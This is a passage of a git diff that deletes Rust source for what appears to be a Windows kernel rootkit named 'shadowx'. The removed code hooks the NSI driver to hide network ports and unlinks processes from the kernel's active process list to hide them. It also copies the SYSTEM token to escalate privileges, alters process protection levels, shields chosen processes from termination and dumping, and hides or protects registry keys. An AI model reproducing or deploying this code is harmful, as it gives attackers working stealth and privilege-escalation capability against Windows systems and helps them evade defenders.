HOOK_INSTALLED.load(Ordering::SeqCst) { - let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; - - let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); - if !original_function_ptr.is_null() { - let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr); - *major_function = original_function; - - HOOK_INSTALLED.store(false, Ordering::SeqCst); - } else { - ObfDereferenceObject(driver_object as _); - return Err(ShadowError::HookFailure); - } - } else { - ObfDereferenceObject(driver_object as _); - return Err(ShadowError::HookFailure); - } - - // Dereference the driver object after removing the hook. - ObfDereferenceObject(driver_object as _); - Ok(STATUS_SUCCESS) - } - - /// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries. - /// - /// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control - /// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler - /// to inspect and potentially modify network entries. - /// - /// # Arguments - /// - /// * `device_object` - Pointer to the device object associated with the request. - /// * `irp` - Pointer to the IRP (I/O Request Packet) being processed. - /// - /// # Returns - /// - /// * The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails. - unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { - let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation; - let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode; - - // If the control code matches, we replace the completion routine with a custom one. - if control_code == Self::NIS_CONTROL_CODE { - let context = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, u32::from_be_bytes(*b"giud")); - if let Some(addr) = context { - let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); - (*address).0 = (*stack).CompletionRoutine; - (*address).1 = (*stack).Context; - - (*stack).Context = address as *mut c_void; - (*stack).CompletionRoutine = Some(Self::irp_complete); - (*stack).Control |= SL_INVOKE_ON_SUCCESS as u8; - - // Prevent memory deallocation. - core::mem::forget(addr); - } - } - - // Call the original dispatch function. - let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); - let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr); - - original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp)) - } - - /// Completion routine that modifies network table entries after an NSI operation. - /// - /// This function is called when the IRP operation completes, and it processes the network - /// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion - /// routine, passing the results of the modified entries back to the caller. - /// - /// # Arguments - /// - /// * `device_object` - Pointer to the device object associated with the IRP. - /// * `irp` - Pointer to the IRP being completed. - /// * `context` - Pointer to the context, containing the original completion routine and its arguments. - /// - /// # Returns - /// - /// * Returns the result of the original completion routine, or `STATUS_SUCCESS` if processing was successful. - unsafe extern "C" fn irp_complete( - device_object: *mut DEVICE_OBJECT, - irp: *mut IRP, - context: *mut c_void - ) -> NTSTATUS { - let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); - - // Validate the status of the IRP. - if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) { - let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM; - let mut status_success = true; - - // Ensure that the NSI parameter is valid and the context can be accessed. - if !valid_user_memory(nsi_param as u64) && !PortUtils::validate_context(nsi_param as _) { - status_success = false; - } else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() { - status_success = false; - } - - // If the entries are valid, process them. - if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 { - let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY; - let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY; - - // Loop through all entries in the NSI parameter. - for i in 0..(*nsi_param).Count { - match (*nsi_param).Type_ { - COMUNICATION_TYPE::TCP => { - if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64) - || valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64) { - - // Convert the port numbers from big-endian to the host's native format. - let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port); - let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port); - - // Process the TCP entry by copying it into the NSI table, updating ports if necessary. - PortUtils::process_entry_copy( - tcp_entries, - (*nsi_param).Count, - i, - local_port, - Some(remote_port), - Protocol::TCP, - (*nsi_param).StatusEntries, - (*nsi_param).ProcessEntries, - nsi_param, - ); - } - }, - COMUNICATION_TYPE::UDP => { - // Check if the UDP local port is a valid user-mode memory address. - if valid_user_memory((*udp_entries.add(i)).Port as u64) { - - // Convert the local port number from big-endian to the host's native format. - let local_port = u16::from_be((*udp_entries.add(i)).Port); - - // Process the UDP entry by copying it into the NSI table, updating ports if necessary. - PortUtils::process_entry_copy( - udp_entries, - (*nsi_param).Count, - i, - local_port, - None, - Protocol::UDP, - (*nsi_param).StatusEntries, - (*nsi_param).ProcessEntries, - nsi_param, - ); - } - } - } - } - } - } - - // Call the original completion routine if one exists. - if let Some(original_routine) = (*context_addr).0 { - let mut original_context = null_mut(); - - if !(*context_addr).1.is_null() { - original_context = (*context_addr).1; - } - - ExFreePool(context as *mut _); - return original_routine(device_object, irp, original_context); - } - - ExFreePool(context as *mut _); - STATUS_SUCCESS - } -} - -/// Utility struct for network-related operations, such as validating memory and handling NSI table entries. -pub struct PortUtils; - -impl PortUtils { - /// Validates a memory address to ensure it can be safely accessed from kernel mode. - /// - /// This function uses `ProbeForRead` to check whether a memory address is valid and accessible. - /// It wraps the operation in a Structured Exception Handling (SEH) block to catch and log any exceptions. - /// - /// # Arguments - /// - /// * `address` - The memory address to validate. - /// - /// # Returns - /// - /// * Return `true` if the address is valid and accessible or `false` if an exception occurs while probing the address. - unsafe fn validate_context(address: *mut c_void) -> bool { - let result = microseh::try_seh(|| { - ProbeForRead(address, size_of::() as u64, size_of::() as u32); - }); - - match result { - Ok(_) => true, - Err(err) => { - error!("Exception when trying to read the address: {:?}", err.code()); - false - } - } - } - - /// Copies network table entries (TCP/UDP) from one index to another and updates associated status - /// and process entries if necessary. - /// - /// This function is used to modify NSI (Network Store Interface) table entries during a network - /// hook operation. It copies TCP/UDP entries, status entries, and process entries, effectively - /// "hiding" specific network ports. - /// - /// # Arguments - /// - /// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced. - /// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer. - /// * `i` - The index of the current entry being processed. - /// * `local_port` - The local port number associated with the current entry. - /// * `remote_port` - An `Option` that may contain the remote port number associated with the current entry, or `None`. - /// * `protocol` - The protocol type (TCP or UDP) being processed for this entry. - /// * `status_entries` - A pointer to the list of status entries related to the network connections. - /// * `process_entries` - A pointer to the list of process entries related to the network connections. - /// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table. - unsafe fn process_entry_copy( - entries: *mut T, - count: usize, - i: usize, - local_port: u16, - remote_port: Option, - protocol: Protocol, - status_entries: *mut NSI_STATUS_ENTRY, - process_entries: *mut NSI_PROCESS_ENTRY, - nsi_param: *mut NSI_PARAM - ) { - let port_number = match (local_port, remote_port) { - (0, Some(remote)) if remote != 0 => remote, // Use remote port if local is zero. - (local, _) if local != 0 => local, // Use local port if it's non-zero. - _ => { - warn!("Both doors are zero, there is no way to process the entrance."); - return; - } - }; - - let port_type = if remote_port.unwrap_or(0) != 0 { - PortType::REMOTE - } else { - PortType::LOCAL - }; - - let info = TargetPort { - protocol, - port_type, - port_number, - enable: true, - }; - - // If the port is protected, modify the network entries. - if check_port(info) { - let mut entries_index = i + 1; - if entries_index >= count { - entries_index = i - 1; - } - - // Copies TCP/UDP entries. - let entries_slice = from_raw_parts_mut(entries, count); - copy( - &entries_slice[entries_index], - &mut entries_slice[i], - count - entries_index, - ); - - // Verify and copy status_entries. - if !status_entries.is_null() { - let status_entries_slice = from_raw_parts_mut(status_entries, count); - if entries_index < status_entries_slice.len() { - copy( - &status_entries_slice[entries_index], - &mut status_entries_slice[i], - count - entries_index, - ); - } - } - - // Check and copy process_entries. - if !process_entries.is_null() { - let process_entries_slice = from_raw_parts_mut(process_entries, count); - if entries_index < process_entries_slice.len() { - copy( - &process_entries_slice[entries_index], - &mut process_entries_slice[i], - count - entries_index, - ); - } - } - } - } -} - -/// Toggles the addition or removal of a port from the list of protected ports. -/// -/// If the `enable` flag in the `TargetPort` is `true`, the port is added to the list of protected ports. -/// Otherwise, the port is removed from the list. -/// -/// # Arguments -/// -/// * `port` - A mutable pointer to a `TargetPort` structure, containing information about the port -/// to be added or removed. -/// -/// # Return -/// -/// * Returns `STATUS_SUCCESS` if the operation is completed successfully or -/// `STATUS_UNSUCCESSFUL` if the operation fails (e.g., the port list is full or the port couldn't be removed). -pub fn add_remove_port_toggle(port: *mut TargetPort) -> NTSTATUS { - if (unsafe { *port }).enable { - add_target_port(port) - } else { - remove_target_port(port) - } -} - -/// Adds a port to the list of protected ports. -/// -/// This function locks the `PROTECTED_PORTS` list and tries to add the given `TargetPort`. -/// If the port is already in the list or the list is full, the operation will fail. -/// -/// # Arguments -/// -/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be added. -/// -/// # Return -/// -/// * Returns `STATUS_SUCCESS` if the port is successfully added to the list. -/// * Returns `STATUS_DUPLICATE_OBJECTID` if the port already exists in the list. -/// * Returns `STATUS_UNSUCCESSFUL` if the port list is full or the operation fails. -fn add_target_port(port: *mut TargetPort) -> NTSTATUS { - let mut ports = PROTECTED_PORTS.lock(); - let port = unsafe { *port }; - - if ports.len() >= MAX_PORT { - return STATUS_UNSUCCESSFUL; - } - - if ports.contains(&port) { - return STATUS_DUPLICATE_OBJECTID; - } - - ports.push(port); - - STATUS_SUCCESS -} - -/// Removes a port from the list of protected ports. -/// -/// This function locks the `PROTECTED_PORTS` list and attempts to remove the specified `TargetPort`. -/// -/// # Arguments -/// -/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be removed. -/// -/// # Return -/// -/// * Returns `STATUS_SUCCESS` if the port is successfully removed from the list -/// or `STATUS_UNSUCCESSFUL` if the port is not found in the list. -fn remove_target_port(port: *mut TargetPort) -> NTSTATUS { - let mut ports = PROTECTED_PORTS.lock(); - (unsafe { *port }).enable = true; - - if let Some(index) = ports.iter().position(|&p| { - p.protocol == (unsafe { *port }).protocol - && p.port_type == (unsafe { *port }).port_type - && p.port_number == (unsafe { *port }).port_number - }) { - ports.remove(index); - STATUS_SUCCESS - } else { - error!("Port {:?} not found in the list", port); - STATUS_UNSUCCESSFUL - } -} - -/// Checks if a port is in the list of protected ports. -/// -/// This function locks the `PROTECTED_PORTS` list and checks whether the given port is in the list. -/// -/// # Arguments -/// -/// * `port` - A `TargetPort` structure that represents the port to be checked. -/// -/// # Return -/// -/// * Returns `true` if the port is in the protected list, otherwise returns `false`. -pub fn check_port(port: TargetPort) -> bool { - PROTECTED_PORTS.lock().contains(&port) -} diff --git a/crates/shadowx/src/process/callback.rs b/crates/shadowx/src/process/callback.rs deleted file mode 100644 index 8d8261f..0000000 --- a/crates/shadowx/src/process/callback.rs +++ /dev/null @@ -1,124 +0,0 @@ -use { - alloc::vec::Vec, - spin::{Lazy, Mutex}, - common::structs::TargetProcess, - winapi::um::winnt::{ - PROCESS_CREATE_THREAD, PROCESS_TERMINATE, - PROCESS_VM_OPERATION, PROCESS_VM_READ - }, - wdk_sys::{ - *, - ntddk::PsGetProcessId, - _OB_PREOP_CALLBACK_STATUS::{ - Type, OB_PREOP_SUCCESS - }, - }, -}; - -pub struct ProcessCallback; - -const MAX_PID: usize = 100; - -/// Handle for the process callback registration. -pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut core::ffi::c_void = core::ptr::null_mut(); - -/// List of target PIDs protected by a mutex. -static TARGET_PIDS: Lazy>> = Lazy::new(|| - Mutex::new(Vec::with_capacity(MAX_PID)) -); - -impl ProcessCallback { - /// Method for adding the list of processes that will have anti-kill / dumping protection. - /// - /// # Arguments - /// - /// * `pid` - The identifier of the target process (PID) to be hidden. - /// - /// # Returns - /// - /// * A status code indicating the success or failure of the operation. - pub fn add_target_pid(pid: usize) -> NTSTATUS { - let mut pids = TARGET_PIDS.lock(); - - if pids.len() >= MAX_PID { - return STATUS_QUOTA_EXCEEDED; - } - - if pids.contains(&pid) { - return STATUS_DUPLICATE_OBJECTID; - } - - pids.push(pid); - - STATUS_SUCCESS - } - - /// Method for removing the list of processes that will have anti-kill / dumping protection. - /// - /// # Arguments - /// - /// * `pid` - The identifier of the target process (PID) to be hidden. - /// - /// # Returns - /// - /// * A status code indicating the success or failure of the operation. - pub fn remove_target_pid(pid: usize) -> NTSTATUS { - let mut pids = TARGET_PIDS.lock(); - - if let Some(index) = pids.iter().position(|&x| x == pid) { - pids.remove(index); - STATUS_SUCCESS - } else { - STATUS_UNSUCCESSFUL - } - } - - /// Enumerate Processes Protect. - /// - /// # Returns - /// - /// * A status code indicating success or failure of the operation. - pub unsafe fn enumerate_protection_processes() -> Vec { - let mut processes: Vec = Vec::new(); - let process_info = TARGET_PIDS.lock(); - for i in process_info.iter() { - processes.push(TargetProcess { - pid: *i, - ..Default::default() - }); - } - - processes - } - - /// The object (process) pre-operation callback function used to filter process opening operations. - /// This function is registered as a callback and is called by the operating system before a process opening operation is completed. - /// - /// # Arguments - /// - /// * `_registration_context` - Pointer to record context (Not used). - /// * `info` - Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation. - /// - /// # Returns - /// - /// * A status code indicating the success or failure of the operation. - pub unsafe extern "C" fn on_pre_open_process( - _registration_context: *mut core::ffi::c_void, - info: *mut OB_PRE_OPERATION_INFORMATION, - ) -> Type { - if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 { - return OB_PREOP_SUCCESS; - } - - let process = (*info).Object as PEPROCESS; - let pid = PsGetProcessId(process) as usize; - let pids = TARGET_PIDS.lock(); - - if pids.contains(&pid) { - let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE); - (*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask; - } - - OB_PREOP_SUCCESS - } -} \ No newline at end of file diff --git a/crates/shadowx/src/process/mod.rs b/crates/shadowx/src/process/mod.rs deleted file mode 100644 index d7d1b9e..0000000 --- a/crates/shadowx/src/process/mod.rs +++ /dev/null @@ -1,341 +0,0 @@ -use { - alloc::vec::Vec, - spin::{Lazy, Mutex}, - wdk_sys::{ntddk::*, *,}, -}; - -use { - common::structs::TargetProcess, - crate::{ - error::ShadowError, - structs::PROCESS_SIGNATURE, - lock::with_push_lock_exclusive, - offsets::{ - get_process_lock, - get_token_offset, - get_signature_offset, - get_active_process_link_offset, - } - } -}; - -pub mod callback; -pub use callback::*; - -const MAX_PID: usize = 100; - -/// Represents a process in the operating system. -/// -/// The `Process` struct provides a safe abstraction over the `EPROCESS` structure used -/// in Windows kernel development. It allows for looking up a process by its PID and ensures -/// proper cleanup of resources when the structure goes out of scope. -pub struct Process { - /// Pointer to the EPROCESS structure, used for managing process information. - pub e_process: PEPROCESS, -} - -impl Process { - /// Creates a new `Process` instance by looking up a process by its PID. - /// - /// This method attempts to find a process using its process identifier (PID). If the process - /// is found, it returns an instance of the `Process` structure containing a pointer to the - /// `EPROCESS` structure. - /// - /// # Arguments - /// - /// * `pid` - The process identifier (PID) of the process to be looked up. - /// - /// # Returns - /// - /// * `Ok(Self)` - Returns a `Process` instance if the process lookup is successful. - /// * `Err(ShadowError)` - Returns an error message if the lookup fails. - /// - /// # Examples - /// - /// ```rust - /// let process = Process::new(1234); - /// match process { - /// Ok(proc) => println!("Process found: {:?}", proc.e_process), - /// Err(e) => println!("Error: {}", e), - /// } - /// ``` - #[inline] - pub fn new(pid: usize) -> Result { - let mut process = core::ptr::null_mut(); - - let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut process) }; - if NT_SUCCESS(status) { - Ok(Self { e_process: process }) - } else { - Err(ShadowError::ApiCallFailed("PsLookupProcessByProcessId", status)) - } - } -} - -/// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope. -/// -/// The `Drop` implementation ensures that the reference count on the `EPROCESS` structure -/// is properly decremented when the `Process` instance is dropped. This prevents resource leaks. -impl Drop for Process { - /// Cleans up the resources held by the `Process` structure. - /// - /// This method decrements the reference count of the `EPROCESS` structure when the - /// `Process` instance is dropped, ensuring proper cleanup. - fn drop(&mut self) { - if !self.e_process.is_null() { - unsafe { ObfDereferenceObject(self.e_process as _) }; - } - } -} - -/// List of target processes protected by a mutex. -pub static PROCESS_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID))); - -/// This implementation focuses on the hiding and unhiding of processes. -impl Process { - /// Hides a process by removing it from the active process list in the operating system. - /// - /// This method hides a process by unlinking it from the active process list (`LIST_ENTRY`) - /// in the OS. It uses synchronization locks to ensure thread safety while modifying the - /// list. Once the process is hidden, it is no longer visible in the system's active process chain. - /// - /// # Arguments - /// - /// * `pid` - The process identifier (PID) of the target process to be hidden. - /// - /// # Returns - /// - /// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring processes - /// in the list before it was modified. - /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. - pub unsafe fn hide_process(pid: usize) -> Result { - // Getting offsets based on the Windows build number - let active_process_link = get_active_process_link_offset(); - let offset_lock = get_process_lock(); - - // Retrieve the EPROCESS structure for the target process - let process = Self::new(pid)?; - - // Retrieve the `LIST_ENTRY` for the active process link, which connects the process - // to the list of active processes in the system. - let current = process.e_process.cast::().offset(active_process_link) as PLIST_ENTRY; - let push_lock = process.e_process.cast::().offset(offset_lock) as *mut u64; - - // Use synchronization to ensure thread safety while modifying the list - with_push_lock_exclusive(push_lock, || { - // The next process in the chain - let next = (*current).Flink; - - // The previous process in the chain - let previous = (*current).Blink; - - // Storing the previous list entry, which will be returned - let previous_link = LIST_ENTRY { - Flink: next as *mut LIST_ENTRY, - Blink: previous as *mut LIST_ENTRY, - }; - - // Unlink the process from the active list - (*next).Blink = previous; - (*previous).Flink = next; - - // Make the current list entry point to itself to hide the process - (*current).Flink = current; - (*current).Blink = current; - - Ok(previous_link) - }) - } - - /// Unhides a process by restoring it to the active process list in the operating system. - /// - /// This method restores a previously hidden process back into the active process list by re-linking - /// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent processes in the list. The function - /// uses synchronization locks to ensure thread safety while modifying the list. - /// - /// # Arguments - /// - /// * `pid` - The process identifier (PID) of the target process to be unhidden. - /// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring processes in the list, - /// which was saved when the process was hidden. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - Indicates the process was successfully restored to the active list. - /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. - pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> Result { - // Getting offsets based on the Windows build number - let active_process_link = get_active_process_link_offset(); - let offset_lock = get_process_lock(); - - // Retrieve the EPROCESS structure for the target process - let process = Self::new(pid)?; - - // Retrieve the `LIST_ENTRY` for the active process link, which connects the process - // to the list of active processes in the system. - let current = process.e_process.cast::().offset(active_process_link) as PLIST_ENTRY; - let push_lock = process.e_process.cast::().offset(offset_lock) as *mut u64; - - // Use synchronization to ensure thread safety while modifying the list - with_push_lock_exclusive(push_lock, || { - // Restore the `Flink` and `Blink` from the saved `list_entry` - (*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY; - (*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY; - - // Re-link the process to the neighboring processes in the chain - let next = (*current).Flink; - let previous = (*current).Blink; - - (*next).Blink = current; - (*previous).Flink = current; - }); - - Ok(STATUS_SUCCESS) - } - - /// Enumerates all currently hidden processes. - /// - /// This function iterates through the list of hidden processes stored in `PROCESS_INFO_HIDE` and returns - /// a vector containing their information. - /// - /// # Returns - /// - /// * A vector containing the information of all hidden processes. - pub unsafe fn enumerate_hide_processes() -> Vec { - let mut processes: Vec = Vec::new(); - let process_info = PROCESS_INFO_HIDE.lock(); - for i in process_info.iter() { - processes.push(TargetProcess { - pid: (*i).pid as usize, - ..Default::default() - }); - } - - processes - } -} - -/// This implementation focuses on finishing the process, changing the PPL and elevating the process. -impl Process { - - // System process (By default the PID is 4) - const SYSTEM_PROCESS: usize = 4; - - /// Elevates a process by setting its token to the system process token. - /// - /// This function raises the token of a process identified by its PID (Process ID) - /// to the token of the system process, effectively elevating the privileges of the target process - /// to those of the system (NT AUTHORITY\SYSTEM). - /// - /// # Arguments - /// - /// * `pid` - The process identifier (PID) of the target process to elevate. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - Indicates that the token was successfully elevated. - /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. - pub unsafe fn elevate_process(pid: usize) -> Result { - // Get the offset for the token in the EPROCESS structure - let offset = get_token_offset(); - - // Retrieving EPROCESS from the target process - let target = Self::new(pid)?; - - // Retrieve the EPROCESS for the system process (PID 4) - let system = Self::new(Self::SYSTEM_PROCESS)?; - - // Access the Token field in the EPROCESS structure of both the target and system processes - let target_token_ptr = target.e_process.cast::().offset(offset) as *mut u64; - let system_token_ptr = system.e_process.cast::().offset(offset) as *mut u64; - - // Copy the system process token to the target process - target_token_ptr.write(system_token_ptr.read()); - - Ok(STATUS_SUCCESS) - } - - /// Modifies the protection signature (PP / PPL) of a process in the operating system. - /// - /// This method changes the protection signature of a process by adjusting the `SignatureLevel` and `Protection` fields - /// in the `EPROCESS` structure. A process can be protected from certain operations, such as termination or privilege escalation, - /// depending on the signature level and protection type that are set. - /// - /// # Arguments - /// - /// * `pid` - The process identifier (PID) of the target process whose protection signature will be modified. - /// * `sg` - The signature level (signer) to be set for the process. - /// * `pt` - The protection type to be applied to the process. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - Returns if the signature and protection levels were successfully updated. - /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. - pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> Result { - // Get the offset for the protection signature within the EPROCESS structure - let offset = get_signature_offset(); - - // Retrieve the EPROCESS structure for the target process - let process = Self::new(pid)?; - - // Create the new protection signature value by combining the signature level and protection type - let new_sign = (sg << 4) | tp; - let process_signature = process.e_process.cast::().offset(offset) as *mut PROCESS_SIGNATURE; - - // Modify the signature level and protection type of the target process - (*process_signature).SignatureLevel = new_sign as u8; - (*process_signature).Protection.SetType(tp as u8); - (*process_signature).Protection.SetSigner(sg as u8); - - Ok(STATUS_SUCCESS) - } - - /// Terminates a process in the operating system using its process identifier (PID). - /// - /// This method terminates a process by first opening a handle to the target process, - /// and then calling `ZwTerminateProcess` to end the process. - /// - /// # Arguments - /// - /// * `pid` - The process identifier (PID) of the process to be terminated. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - Returns if the process was successfully terminated. - /// * `Err(ShadowError)` - Returns an error if any step (opening, terminating, or closing the process) fails. - pub unsafe fn terminate_process(pid: usize) -> Result { - let mut h_process: HANDLE = core::ptr::null_mut(); - let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed(); - let mut client_id = CLIENT_ID { - UniqueProcess: pid as _, - UniqueThread: core::ptr::null_mut(), - }; - - // Open a handle to the target process with all access rights - let mut status = ZwOpenProcess( - &mut h_process, - PROCESS_ALL_ACCESS, - &mut object_attributes, - &mut client_id, - ); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); - } - - // Terminate the process with an exit code of 0 - status = ZwTerminateProcess(h_process, 0); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwTerminateProcess", status)); - } - - // Close the handle to the process - status = ZwClose(h_process); - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwClose", status)); - } - - Ok(STATUS_SUCCESS) - } -} - - diff --git a/crates/shadowx/src/registry/callback.rs b/crates/shadowx/src/registry/callback.rs deleted file mode 100644 index 7f847e5..0000000 --- a/crates/shadowx/src/registry/callback.rs +++ /dev/null @@ -1,413 +0,0 @@ -#![allow(non_upper_case_globals)] - -use { - log::error, - alloc::{format, string::String}, - core::{ffi::c_void, ptr::null_mut}, - wdk_sys::{ - *, - _MODE::KernelMode, - ntddk::{ - CmCallbackGetKeyObjectIDEx, - ObOpenObjectByPointer, ZwClose, - CmCallbackReleaseKeyObjectIDEx, - }, - _REG_NOTIFY_CLASS::{ - RegNtPreQueryKey, RegNtPreSetValueKey, - RegNtPreDeleteKey, RegNtPreDeleteValueKey, - RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, - }, - }, -}; - -use { - super::{ - HIDE_KEYS, HIDE_KEY_VALUES, - PROTECTION_KEYS, PROTECTION_KEY_VALUES, - utils::{ - RegistryInfo, - check_key_value, - enumerate_value_key, - }, - }, - crate::{ - utils::{pool::PoolMemory, valid_kernel_memory}, - registry::{ - Registry, - utils::{check_key, enumerate_key}, - }, - }, -}; - -/// Handle for Registry Callback. -pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() }; - -/// The registry callback function handles registry-related operations based on the notification class. -/// -/// # Arguments -/// -/// * `_callback_context` - A pointer to the callback context, usually not used. -/// * `argument1` - A pointer to the notification class. -/// * `argument2` - A pointer to the information related to the registry operation. -/// -/// # Returns -/// -/// * A status code indicating the result of the operation. -pub unsafe extern "C" fn registry_callback( - _callback_context: *mut c_void, - argument1: *mut c_void, - argument2: *mut c_void, -) -> NTSTATUS { - let status; - - let reg_notify_class = argument1 as i32; - match reg_notify_class { - RegNtPreSetValueKey => { - status = pre_set_value_key(argument2 as *mut REG_SET_VALUE_KEY_INFORMATION); - }, - RegNtPreDeleteValueKey => { - status = pre_delete_value_key(argument2 as *mut REG_DELETE_VALUE_KEY_INFORMATION); - }, - RegNtPreDeleteKey => { - status = pre_delete_key(argument2 as *mut REG_DELETE_KEY_INFORMATION); - }, - RegNtPreQueryKey => { - status = pre_query_key(argument2 as *mut REG_QUERY_KEY_INFORMATION); - }, - RegNtPostEnumerateKey => { - status = post_enumerate_key(argument2 as *mut REG_POST_OPERATION_INFORMATION); - }, - RegNtPostEnumerateValueKey => { - status = post_enumerate_key_value(argument2 as *mut REG_POST_OPERATION_INFORMATION); - } - _ => return STATUS_SUCCESS, - } - - status -} - -/// Handles the pre-delete key operation. -/// -/// # Arguments -/// -/// * `info` - A pointer to `REG_DELETE_KEY_INFORMATION`. -/// -/// # Returns -/// -/// * A status code indicating success or failure. -unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS { - let status; - if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { - return STATUS_SUCCESS; - } - - let key = match read_key(info) { - Ok(key) => key, - Err(err) => return err - }; - - status = if Registry::check_key(key, PROTECTION_KEYS.lock()) { - STATUS_ACCESS_DENIED - } else { - STATUS_SUCCESS - }; - - status -} - -/// Performs the post-operation to enumerate registry key values. -/// -/// # Arguments -/// -/// * `info` - Pointer to the information structure of the post-execution logging operation. -/// -/// # Returns -/// -/// * Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`. -unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS { - if !NT_SUCCESS((*info).Status) { - return (*info).Status - } - - let key = match read_key(info) { - Ok(key) => key, - Err(err) => return err - }; - - if !check_key_value(info, key.clone()) { - return STATUS_SUCCESS - } - - let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_VALUE_KEY_INFORMATION).as_ref() { - Some(pre_info) => pre_info, - None => return STATUS_SUCCESS, - }; - - let mut key_handle = null_mut(); - let status = ObOpenObjectByPointer( - (*info).Object, - OBJ_KERNEL_HANDLE, - null_mut(), - KEY_ALL_ACCESS, - *CmKeyObjectType, - KernelMode as i8, - &mut key_handle - ); - - if !NT_SUCCESS(status) { - error!("ObOpenObjectByPointer Failed With Status: {status}"); - return STATUS_SUCCESS; - } - - let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) { - Some(mem) => mem.ptr as *mut u8, - None => { - error!("PoolMemory (Enumerate Key) Failed"); - ZwClose(key_handle); - return STATUS_SUCCESS; - } - }; - - let mut result_length = 0; - let mut counter = 0; - - while let Some(value_name) = enumerate_value_key( - key_handle, - pre_info.Index + counter, - buffer, - (*pre_info).Length, - (*pre_info).KeyValueInformationClass, - &mut result_length - ) { - if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) { - if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() { - *(*pre_info).ResultLength = result_length; - core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize); - break; - } else { - error!("Failed to copy key information."); - break; - } - } else { - counter += 1; - } - } - - ZwClose(key_handle); - STATUS_SUCCESS -} - -/// Performs the post-operation to enumerate registry keys. -/// -/// # Arguments -/// -/// * `info` - Pointer to the information structure of the post-execution logging operation. -/// -/// # Returns -/// -/// * Returns the status of the operation, keeping the original status if the previous operation failed. -unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS { - if !NT_SUCCESS((*info).Status) { - return (*info).Status - } - - let key = match read_key(info) { - Ok(key) => key, - Err(err) => return err - }; - - if !check_key(info, key.clone()) { - return STATUS_SUCCESS - } - - let pre_info = match 